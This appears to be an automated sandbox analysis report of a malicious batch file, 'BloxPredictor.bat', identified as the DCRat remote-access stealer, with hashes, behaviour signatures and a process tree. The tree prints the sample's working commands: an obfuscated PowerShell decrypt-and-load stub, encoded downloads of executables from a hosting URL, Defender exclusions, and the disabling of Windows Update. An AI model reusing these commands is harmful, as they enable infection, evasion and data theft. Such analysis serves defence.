Overview

overview

10

Static

static

BloxPredictor.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    1799s
  • max time network
    1800s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-08-2022 19:11

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    BloxPredictor.bat

  • Size

    23KB

  • MD5

    e2553d84671dfa262938be551a620736

  • SHA1

    6ce4843bf3262dc9cfd79a6b0aa26ff37b9f9dc0

  • SHA256

    18ef1ace42ffd61934cbe66b9bd10c2ff14531f2602e66ce46a12c60d7a76f12

  • SHA512

    49af6d4816f48a08588c45b31981d1da4e92365df13a57b40876561beb486ae5886b811575cd6cc45272c3903d49cb8818a780f449790a9fce5b90edddfa5400

  • SSDEEP

    384:3S9YdseW63HBsPRtn9SXAiEZD4z7PwDjTqF+g/yv4iS9lKEHLtxL:iarW6xs3vD4fw/0+gKq1/L

Score
10/10
dcratdiscoveryevasionexploitinfostealerpersistenceratspywarestealer

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Modifies security service 2 TTPs 5 IoCs
    evasion
  • Modifies system executable filetype association 2 TTPs 7 IoCs
    persistence
  • Process spawned unexpected child process 36 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • DCRat payload 8 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

    rat
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 39 IoCs
  • Possible privilege escalation attempt 4 IoCs
    exploit
  • Registers COM server for autorun 1 TTPs 64 IoCs
    persistence
  • Stops running service(s) 3 TTPs
    evasion
  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 38 IoCs
  • Modifies file permissions 1 TTPs 4 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 36 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies registry key 1 TTPs 18 IoCs
  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 8 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\BloxPredictor.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:772
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4996
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:4204
      • C:\Users\Admin\AppData\Local\Temp\BloxPredictor.bat.exe
        "BloxPredictor.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $DLLWa = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\BloxPredictor.bat').Split([Environment]::NewLine);foreach ($GFBRS in $DLLWa) { if ($GFBRS.StartsWith(':: ')) { $WnSPY = $GFBRS.Substring(3); break; }; };$wQnVi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($WnSPY);$pobYD = New-Object System.Security.Cryptography.AesManaged;$pobYD.Mode = [System.Security.Cryptography.CipherMode]::CBC;$pobYD.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$pobYD.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('O6WE67Z4EmIsT4ME4ungkdGa7Nqmh/8dccqvu392fKc=');$pobYD.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pdUC7Oyof7lpMW6QXJEGxA==');$gfOyK = $pobYD.CreateDecryptor();$wQnVi = $gfOyK.TransformFinalBlock($wQnVi, 0, $wQnVi.Length);$gfOyK.Dispose();$pobYD.Dispose();$fbEqc = New-Object System.IO.MemoryStream(, $wQnVi);$ipvmr = New-Object System.IO.MemoryStream;$NoLFc = New-Object System.IO.Compression.GZipStream($fbEqc, [IO.Compression.CompressionMode]::Decompress);$NoLFc.CopyTo($ipvmr);$NoLFc.Dispose();$fbEqc.Dispose();$ipvmr.Dispose();$wQnVi = $ipvmr.ToArray();$vqlpa = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($wQnVi);$ctVAv = $vqlpa.EntryPoint;$ctVAv.Invoke($null, (, [string[]] ('')))
        2⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1360
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAawBzACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHMAdgBlACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATgBvACAAVgBNACAALwAgAFYAcABzACAAcwB1AHAAcABvAHIAdABlAGQAIQAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAbAB4AGsAIwA+ADsAIgA7ADwAIwBmAHYAdAAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAawB5ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGsAcABpACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGsAegBnACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AbAB1AGMAaQBmAGUAcgA2ADEALwBsAGEAcwB0AHQAZQBzAHQALwByAGEAdwAvADcAMgBmADYAOAA1ADQAMQBhAGEANQA3AGIANABhAGIAOQBkAGQANQAxADAAYQAyADIAZQBlAGQAZgBiADEAYgBkADEANQAxADYAZgAxAGEALwBlAGIALgBlAHgAZQAnACwAIAA8ACMAYwByAHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBnAHgAdQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB2AHEAYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBBAG4AdABpAFYATQBQAHIAbwB0AGUAYwB0AG8AcgAuAGUAeABlACcAKQApADwAIwBpAHcAcAAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AbAB1AGMAaQBmAGUAcgA2ADEALwBsAGEAcwB0AHQAZQBzAHQALwByAGEAdwAvADcAMgBmADYAOAA1ADQAMQBhAGEANQA3AGIANABhAGIAOQBkAGQANQAxADAAYQAyADIAZQBlAGQAZgBiADEAYgBkADEANQAxADYAZgAxAGEALwBtAGkAbQBpAG0AaQAuAGUAeABlACcALAAgADwAIwByAHMAcAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHMAcABpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAaQBtACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEEAbgB0AGkAVgBwAHMAUAByAG8AdABlAGMAdABvAHIALgBlAHgAZQAnACkAKQA8ACMAZABxAGQAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaABkAGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGEAbQBnACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEEAbgB0AGkAVgBNAFAAcgBvAHQAZQBjAHQAbwByAC4AZQB4AGUAJwApADwAIwB4AGQAdAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBoAGMAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAawBmAHUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQQBuAHQAaQBWAHAAcwBQAHIAbwB0AGUAYwB0AG8AcgAuAGUAeABlACcAKQA8ACMAdgBqAGwAIwA+AA=="
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4720
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#sve#>[System.Windows.Forms.MessageBox]::Show('No VM / Vps supported!','','OK','Error')<#lxk#>;
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1664
          • C:\Users\Admin\AppData\Local\Temp\AntiVMProtector.exe
            "C:\Users\Admin\AppData\Local\Temp\AntiVMProtector.exe"
            4⤵
            • Executes dropped EXE
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:3416
            • C:\Windows\SysWOW64\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\ComagentServerreviewNet\w5i86E.vbe"
              5⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:2488
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\ComagentServerreviewNet\uiaSIuIHGvkMcNGj6d.bat" "
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1624
                • C:\ComagentServerreviewNet\brokerHostmonitor.exe
                  "C:\ComagentServerreviewNet\brokerHostmonitor.exe"
                  7⤵
                  • Executes dropped EXE
                  • Checks computer location settings
                  • Drops file in Program Files directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3464
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4944
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4948
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ComagentServerreviewNet/'
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:764
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2428
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/odt/'
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4416
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3380
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4524
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2296
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4532
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4960
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2660
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1480
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
                    8⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1640
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\QuRhIyamyW.bat"
                    8⤵
                      PID:992
                      • C:\Windows\system32\w32tm.exe
                        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                        9⤵
                          PID:5784
                        • C:\Recovery\WindowsRE\AntiVpsProtector.exe
                          "C:\Recovery\WindowsRE\AntiVpsProtector.exe"
                          9⤵
                          • Executes dropped EXE
                          • Checks computer location settings
                          • Suspicious behavior: GetForegroundWindowSpam
                          • Suspicious use of SetWindowsHookEx
                          PID:3016
                          • C:\Windows\System32\WScript.exe
                            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ec957890-4e66-4b3e-ac52-6c36aa1ca668.vbs"
                            10⤵
                              PID:3700
                            • C:\Windows\System32\WScript.exe
                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a00928f2-db5a-4f26-b503-f25a9366b4ee.vbs"
                              10⤵
                                PID:2408
                  • C:\Users\Admin\AppData\Local\Temp\AntiVpsProtector.exe
                    "C:\Users\Admin\AppData\Local\Temp\AntiVpsProtector.exe"
                    4⤵
                    • Drops file in Drivers directory
                    • Executes dropped EXE
                    • Checks computer location settings
                    • Drops file in Program Files directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:3816
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAcQB6ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB3ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBuAGgAcQBrACMAPgAgAEAAKAAgADwAIwBtAHcAdAAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAaQBqAGEAIwA+ACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzACkAIAA8ACMAbABkAG8AIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZgBlAGcAIwA+AA=="
                      5⤵
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3320
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4788
                      • C:\Windows\system32\sc.exe
                        sc stop UsoSvc
                        6⤵
                        • Launches sc.exe
                        PID:1460
                      • C:\Windows\system32\sc.exe
                        sc stop WaaSMedicSvc
                        6⤵
                        • Launches sc.exe
                        PID:3984
                      • C:\Windows\system32\sc.exe
                        sc stop wuauserv
                        6⤵
                        • Launches sc.exe
                        PID:4360
                      • C:\Windows\system32\sc.exe
                        sc stop bits
                        6⤵
                        • Launches sc.exe
                        PID:3064
                      • C:\Windows\system32\sc.exe
                        sc stop dosvc
                        6⤵
                        • Launches sc.exe
                        PID:3896
                      • C:\Windows\system32\reg.exe
                        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
                        6⤵
                        • Modifies registry key
                        PID:2828
                      • C:\Windows\system32\reg.exe
                        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
                        6⤵
                        • Modifies registry key
                        PID:5016
                      • C:\Windows\system32\reg.exe
                        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
                        6⤵
                        • Modifies security service
                        • Modifies registry key
                        PID:3752
                      • C:\Windows\system32\reg.exe
                        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
                        6⤵
                        • Modifies registry key
                        PID:4996
                      • C:\Windows\system32\reg.exe
                        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
                        6⤵
                        • Modifies registry key
                        PID:3640
                      • C:\Windows\system32\takeown.exe
                        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
                        6⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3584
                      • C:\Windows\system32\icacls.exe
                        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
                        6⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:4192
                      • C:\Windows\system32\reg.exe
                        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
                        6⤵
                        • Modifies registry key
                        PID:1460
                      • C:\Windows\system32\reg.exe
                        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
                        6⤵
                        • Modifies registry key
                        PID:1716
                      • C:\Windows\system32\reg.exe
                        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
                        6⤵
                        • Modifies registry key
                        PID:4924
                      • C:\Windows\system32\reg.exe
                        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
                        6⤵
                        • Modifies registry key
                        PID:4908
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
                        6⤵
                          PID:2740
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
                          6⤵
                            PID:876
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
                            6⤵
                              PID:4892
                            • C:\Windows\system32\schtasks.exe
                              SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
                              6⤵
                                PID:5144
                              • C:\Windows\system32\schtasks.exe
                                SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
                                6⤵
                                  PID:5504
                                • C:\Windows\system32\schtasks.exe
                                  SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
                                  6⤵
                                    PID:5760
                                  • C:\Windows\system32\schtasks.exe
                                    SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
                                    6⤵
                                      PID:5924
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
                                    5⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:984
                                    • C:\Windows\system32\powercfg.exe
                                      powercfg /x -hibernate-timeout-ac 0
                                      6⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4376
                                    • C:\Windows\system32\powercfg.exe
                                      powercfg /x -hibernate-timeout-dc 0
                                      6⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4544
                                    • C:\Windows\system32\powercfg.exe
                                      powercfg /x -standby-timeout-ac 0
                                      6⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4464
                                    • C:\Windows\system32\powercfg.exe
                                      powercfg /x -standby-timeout-dc 0
                                      6⤵
                                        PID:1144
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAZQBrACMAPgAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAGMAaAByAC4AZQB4AGUAIgAnACkAIAA8ACMAawBmAHEAIwA+ACAALQBUAHIAaQBnAGcAZQByACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0AQQB0AFMAdABhAHIAdAB1AHAAKQAgADwAIwBpAGYAIwA+ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABpAHMAYQBsAGwAbwB3AEgAYQByAGQAVABlAHIAbQBpAG4AYQB0AGUAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAE8AbgBJAGQAbABlAEUAbgBkACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAEQAYQB5AHMAIAAxADAAMAAwACkAKQAgADwAIwBiAHIAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBHAE4AQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAGsAdgBrAHUAIwA+ADsA"
                                      5⤵
                                        PID:2660
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineGNC"
                                        5⤵
                                          PID:2248
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks /run /tn "GoogleUpdateTaskMachineGNC"
                                            6⤵
                                              PID:2836
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c choice /c y /n /d y /t 1 & attrib -h -s "C:\Users\Admin\AppData\Local\Temp\BloxPredictor.bat.exe" & del "C:\Users\Admin\AppData\Local\Temp\BloxPredictor.bat.exe"
                                        3⤵
                                        • Suspicious use of WriteProcessMemory
                                        PID:4972
                                        • C:\Windows\system32\choice.exe
                                          choice /c y /n /d y /t 1
                                          4⤵
                                            PID:3656
                                          • C:\Windows\system32\attrib.exe
                                            attrib -h -s "C:\Users\Admin\AppData\Local\Temp\BloxPredictor.bat.exe"
                                            4⤵
                                            • Views/modifies file attributes
                                            PID:2744
                                    • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
                                      "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe"
                                      1⤵
                                      • Modifies system executable filetype association
                                      • Registers COM server for autorun
                                      • Checks processor information in registry
                                      • Modifies Internet Explorer settings
                                      • Modifies registry class
                                      • Suspicious behavior: AddClipboardFormatListener
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of FindShellTrayWindow
                                      • Suspicious use of SendNotifyMessage
                                      • Suspicious use of SetWindowsHookEx
                                      PID:3808
                                      • C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe
